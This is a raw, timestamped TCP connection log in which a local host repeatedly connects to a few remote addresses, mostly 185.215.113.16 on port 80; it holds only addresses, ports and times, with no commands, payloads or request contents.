Jul 26, 2024 10:36:39.991641045 CEST	49731	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:39.992002010 CEST	49732	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:39.996808052 CEST	80	49732	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:39.996920109 CEST	49732	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:39.997061968 CEST	80	49731	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:39.997090101 CEST	49732	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:39.997127056 CEST	49731	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:40.002696991 CEST	80	49732	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:40.767673016 CEST	80	49732	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:40.767756939 CEST	49732	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:40.768506050 CEST	49732	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:40.773757935 CEST	80	49732	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:41.029047966 CEST	80	49732	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:41.029282093 CEST	49732	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:41.147794962 CEST	49732	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:41.148049116 CEST	49733	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:41.154987097 CEST	80	49733	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:41.155083895 CEST	49733	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:41.155287981 CEST	49733	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:41.155719995 CEST	80	49732	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:41.155772924 CEST	49732	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:41.160173893 CEST	80	49733	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:41.896327972 CEST	80	49733	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:41.896578074 CEST	49733	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:41.897897005 CEST	49733	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:41.902863026 CEST	80	49733	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:42.143825054 CEST	80	49733	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:42.143904924 CEST	49733	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:42.257076025 CEST	49733	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:42.257582903 CEST	49734	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:42.262500048 CEST	80	49734	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:42.262622118 CEST	49734	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:42.262722969 CEST	80	49733	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:42.262794018 CEST	49733	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:42.262895107 CEST	49734	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:42.271307945 CEST	80	49734	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:43.028522968 CEST	80	49734	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:43.028654099 CEST	49734	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:43.029427052 CEST	49734	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:43.034324884 CEST	80	49734	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:43.273643970 CEST	80	49734	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:43.273893118 CEST	49734	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:43.382668972 CEST	49734	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:43.386961937 CEST	49735	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:43.388540030 CEST	80	49734	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:43.388632059 CEST	49734	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:43.391799927 CEST	80	49735	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:43.391915083 CEST	49735	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:43.392062902 CEST	49735	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:43.396891117 CEST	80	49735	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:44.245116949 CEST	80	49735	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:44.245210886 CEST	49735	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:44.246121883 CEST	49735	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:44.254997015 CEST	80	49735	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:44.504781961 CEST	80	49735	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:44.504892111 CEST	49735	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:44.617167950 CEST	49735	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:44.617444038 CEST	49736	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:44.624023914 CEST	80	49736	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:44.624185085 CEST	49736	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:44.624347925 CEST	49736	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:44.624774933 CEST	80	49735	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:44.624834061 CEST	49735	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:44.631864071 CEST	80	49736	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:45.388730049 CEST	49737	443	192.168.2.6	40.115.3.253
Jul 26, 2024 10:36:45.388823032 CEST	443	49737	40.115.3.253	192.168.2.6
Jul 26, 2024 10:36:45.388938904 CEST	49737	443	192.168.2.6	40.115.3.253
Jul 26, 2024 10:36:45.390017033 CEST	49737	443	192.168.2.6	40.115.3.253
Jul 26, 2024 10:36:45.390053034 CEST	443	49737	40.115.3.253	192.168.2.6
Jul 26, 2024 10:36:45.406029940 CEST	80	49736	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:45.406095028 CEST	49736	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:45.406922102 CEST	49736	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:45.411890030 CEST	80	49736	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:45.658788919 CEST	80	49736	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:45.658920050 CEST	49736	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:45.772526979 CEST	49736	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:45.773341894 CEST	49738	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:45.778539896 CEST	80	49736	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:45.778601885 CEST	80	49738	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:45.778647900 CEST	49736	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:45.778775930 CEST	49738	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:45.779023886 CEST	49738	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:45.783997059 CEST	80	49738	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:46.214127064 CEST	443	49737	40.115.3.253	192.168.2.6
Jul 26, 2024 10:36:46.214241028 CEST	49737	443	192.168.2.6	40.115.3.253
Jul 26, 2024 10:36:46.217607021 CEST	49737	443	192.168.2.6	40.115.3.253
Jul 26, 2024 10:36:46.217634916 CEST	443	49737	40.115.3.253	192.168.2.6
Jul 26, 2024 10:36:46.218436956 CEST	443	49737	40.115.3.253	192.168.2.6
Jul 26, 2024 10:36:46.223090887 CEST	49737	443	192.168.2.6	40.115.3.253
Jul 26, 2024 10:36:46.223174095 CEST	49737	443	192.168.2.6	40.115.3.253
Jul 26, 2024 10:36:46.223186016 CEST	443	49737	40.115.3.253	192.168.2.6
Jul 26, 2024 10:36:46.223571062 CEST	49737	443	192.168.2.6	40.115.3.253
Jul 26, 2024 10:36:46.264514923 CEST	443	49737	40.115.3.253	192.168.2.6
Jul 26, 2024 10:36:46.399209976 CEST	443	49737	40.115.3.253	192.168.2.6
Jul 26, 2024 10:36:46.399497986 CEST	443	49737	40.115.3.253	192.168.2.6
Jul 26, 2024 10:36:46.399702072 CEST	49737	443	192.168.2.6	40.115.3.253
Jul 26, 2024 10:36:46.399802923 CEST	49737	443	192.168.2.6	40.115.3.253
Jul 26, 2024 10:36:46.399846077 CEST	443	49737	40.115.3.253	192.168.2.6
Jul 26, 2024 10:36:46.399882078 CEST	49737	443	192.168.2.6	40.115.3.253
Jul 26, 2024 10:36:46.543324947 CEST	80	49738	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:46.543416023 CEST	49738	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:46.546753883 CEST	49738	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:46.552439928 CEST	80	49738	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:46.797837019 CEST	80	49738	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:46.797970057 CEST	49738	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:46.913424969 CEST	49738	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:46.913719893 CEST	49739	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:46.926628113 CEST	80	49739	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:46.926906109 CEST	49739	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:46.926906109 CEST	49739	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:46.927630901 CEST	80	49738	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:46.927690029 CEST	49738	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:46.931899071 CEST	80	49739	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:47.685863018 CEST	80	49739	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:47.689136982 CEST	49739	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:47.689136982 CEST	49739	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:47.694295883 CEST	80	49739	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:47.982176065 CEST	80	49739	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:47.982283115 CEST	49739	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:48.084933996 CEST	49739	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:48.085242987 CEST	49740	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:48.091270924 CEST	80	49740	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:48.091352940 CEST	49740	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:48.091567039 CEST	49740	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:48.092160940 CEST	80	49739	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:48.092212915 CEST	49739	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:48.096344948 CEST	80	49740	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:48.894479036 CEST	80	49740	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:48.894552946 CEST	49740	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:48.895627975 CEST	49740	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:48.900546074 CEST	80	49740	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:49.171824932 CEST	80	49740	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:49.172038078 CEST	49740	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:49.289079905 CEST	49740	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:49.289472103 CEST	49741	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:49.294346094 CEST	80	49741	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:49.294435978 CEST	49741	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:49.294564009 CEST	49741	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:49.294652939 CEST	80	49740	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:49.294723034 CEST	49740	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:49.301537991 CEST	80	49741	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:50.137290955 CEST	80	49741	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:50.137413025 CEST	49741	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:50.138509989 CEST	49741	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:50.143374920 CEST	80	49741	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:50.432527065 CEST	80	49741	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:50.432647943 CEST	49741	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:50.537888050 CEST	49741	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:50.538245916 CEST	49742	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:50.545916080 CEST	80	49742	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:50.546010017 CEST	49742	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:50.546200991 CEST	49742	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:50.552411079 CEST	80	49742	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:50.565969944 CEST	80	49741	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:50.566073895 CEST	49741	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:51.310024977 CEST	80	49742	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:51.310144901 CEST	49742	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:51.310879946 CEST	49742	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:51.315756083 CEST	80	49742	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:51.561480045 CEST	80	49742	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:51.561602116 CEST	49742	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:51.678657055 CEST	49742	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:51.679090977 CEST	49743	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:51.691581011 CEST	80	49742	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:51.691653013 CEST	49742	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:51.693953037 CEST	80	49743	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:51.694031954 CEST	49743	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:51.694174051 CEST	49743	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:51.699632883 CEST	80	49743	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:52.470231056 CEST	80	49743	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:52.470313072 CEST	49743	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:52.471101046 CEST	49743	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:52.476001024 CEST	80	49743	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:52.720997095 CEST	80	49743	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:52.721184969 CEST	49743	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:52.834736109 CEST	49743	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:52.835123062 CEST	49744	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:52.840975046 CEST	80	49744	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:52.840992928 CEST	80	49743	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:52.841105938 CEST	49743	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:52.841115952 CEST	49744	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:52.841268063 CEST	49744	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:52.846149921 CEST	80	49744	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:53.709928036 CEST	80	49744	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:53.710102081 CEST	49744	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:53.710943937 CEST	49744	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:53.716384888 CEST	80	49744	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:54.018640041 CEST	80	49744	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:54.018779039 CEST	49744	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:54.136989117 CEST	49744	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:54.137267113 CEST	49745	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:54.144560099 CEST	80	49745	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:54.144577026 CEST	80	49744	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:54.144670010 CEST	49744	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:54.145131111 CEST	49745	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:54.146313906 CEST	49745	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:54.151802063 CEST	80	49745	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:54.923690081 CEST	80	49745	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:54.923862934 CEST	49745	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:54.924516916 CEST	49745	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:54.929904938 CEST	80	49745	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:55.175726891 CEST	80	49745	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:55.175934076 CEST	49745	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:55.290137053 CEST	49745	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:55.290549040 CEST	49746	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:55.297163963 CEST	80	49746	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:55.297249079 CEST	49746	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:55.297416925 CEST	49746	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:55.298351049 CEST	80	49745	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:55.298450947 CEST	49745	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:55.302630901 CEST	80	49746	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:56.080403090 CEST	80	49746	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:56.080504894 CEST	49746	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:56.081182003 CEST	49746	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:56.086637974 CEST	80	49746	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:56.364056110 CEST	80	49746	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:56.364289999 CEST	49746	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:56.475298882 CEST	49746	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:56.475728989 CEST	49747	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:56.480834961 CEST	80	49747	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:56.480988979 CEST	49747	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:56.481215954 CEST	49747	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:56.482311010 CEST	80	49746	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:56.482383013 CEST	49746	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:56.486879110 CEST	80	49747	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:57.321969986 CEST	80	49747	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:57.322107077 CEST	49747	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:57.323055029 CEST	49747	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:57.327939034 CEST	80	49747	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:57.582005978 CEST	80	49747	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:57.582091093 CEST	49747	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:57.694447994 CEST	49747	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:57.694865942 CEST	49748	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:57.762780905 CEST	80	49748	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:57.762851000 CEST	49748	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:57.763082981 CEST	49748	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:57.792715073 CEST	80	49747	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:57.792776108 CEST	49747	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:57.795135021 CEST	80	49748	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:58.601026058 CEST	80	49748	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:58.601257086 CEST	49748	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:58.602030039 CEST	49748	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:58.607407093 CEST	80	49748	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:58.857173920 CEST	80	49748	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:58.857389927 CEST	49748	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:58.978425026 CEST	49748	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:58.978801012 CEST	49750	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:58.983743906 CEST	80	49750	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:58.983834982 CEST	49750	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:58.988445997 CEST	49750	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:58.994091034 CEST	80	49750	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:59.000277996 CEST	80	49748	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:59.000333071 CEST	49748	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:59.797817945 CEST	80	49750	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:59.797920942 CEST	49750	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:59.798701048 CEST	49750	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:59.816701889 CEST	80	49750	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:00.056710958 CEST	80	49750	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:00.056781054 CEST	49750	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:00.176611900 CEST	49750	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:00.176912069 CEST	49751	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:00.182168007 CEST	80	49751	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:00.182245970 CEST	49751	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:00.182982922 CEST	49751	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:00.183140039 CEST	80	49750	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:00.183199883 CEST	49750	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:00.187829018 CEST	80	49751	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:00.953008890 CEST	80	49751	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:00.953102112 CEST	49751	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:00.959825039 CEST	49751	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:00.965224028 CEST	80	49751	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:01.304442883 CEST	80	49751	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:01.304510117 CEST	49751	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:01.474909067 CEST	49751	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:01.475332975 CEST	49752	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:01.481040955 CEST	80	49752	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:01.481149912 CEST	49752	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:01.481733084 CEST	80	49751	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:01.481791019 CEST	49751	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:01.482820034 CEST	49752	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:01.491280079 CEST	80	49752	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:02.231476068 CEST	80	49752	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:02.231544018 CEST	49752	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:02.232536077 CEST	49752	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:02.238579035 CEST	80	49752	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:02.488343000 CEST	80	49752	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:02.488404989 CEST	49752	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:02.788181067 CEST	49752	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:02.788760900 CEST	49753	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:02.817560911 CEST	80	49753	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:02.817574024 CEST	80	49752	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:02.817676067 CEST	49752	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:02.817692041 CEST	49753	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:02.845396996 CEST	49753	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:02.875869989 CEST	80	49753	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:03.670897007 CEST	80	49753	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:03.670980930 CEST	49753	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:03.671575069 CEST	49753	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:03.676793098 CEST	80	49753	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:03.957261086 CEST	49754	80	192.168.2.6	185.215.113.19
Jul 26, 2024 10:37:04.092413902 CEST	80	49753	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:04.092530012 CEST	49753	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:04.096996069 CEST	80	49754	185.215.113.19	192.168.2.6
Jul 26, 2024 10:37:04.097116947 CEST	49754	80	192.168.2.6	185.215.113.19
Jul 26, 2024 10:37:04.097265005 CEST	49754	80	192.168.2.6	185.215.113.19
Jul 26, 2024 10:37:04.103430986 CEST	80	49754	185.215.113.19	192.168.2.6
Jul 26, 2024 10:37:04.196203947 CEST	49753	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:04.196466923 CEST	49755	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:04.202359915 CEST	80	49753	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:04.202395916 CEST	80	49755	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:04.202456951 CEST	49753	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:04.202533007 CEST	49755	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:04.202725887 CEST	49755	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:04.207943916 CEST	80	49755	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:04.935441017 CEST	80	49754	185.215.113.19	192.168.2.6
Jul 26, 2024 10:37:04.935534000 CEST	49754	80	192.168.2.6	185.215.113.19
Jul 26, 2024 10:37:04.936434984 CEST	49754	80	192.168.2.6	185.215.113.19
Jul 26, 2024 10:37:04.941263914 CEST	80	49754	185.215.113.19	192.168.2.6
Jul 26, 2024 10:37:04.987328053 CEST	80	49755	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:04.987430096 CEST	49755	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:04.988149881 CEST	49755	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:04.992996931 CEST	80	49755	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:05.196450949 CEST	80	49754	185.215.113.19	192.168.2.6
Jul 26, 2024 10:37:05.196609020 CEST	49754	80	192.168.2.6	185.215.113.19
Jul 26, 2024 10:37:05.200541973 CEST	49756	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:05.210076094 CEST	80	49756	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:05.210268021 CEST	49756	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:05.210434914 CEST	49756	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:05.216248035 CEST	80	49756	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:05.233573914 CEST	80	49755	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:05.234078884 CEST	49755	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:05.350384951 CEST	49755	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:05.350677967 CEST	49757	80	192.168.2.6	185.215.113.16
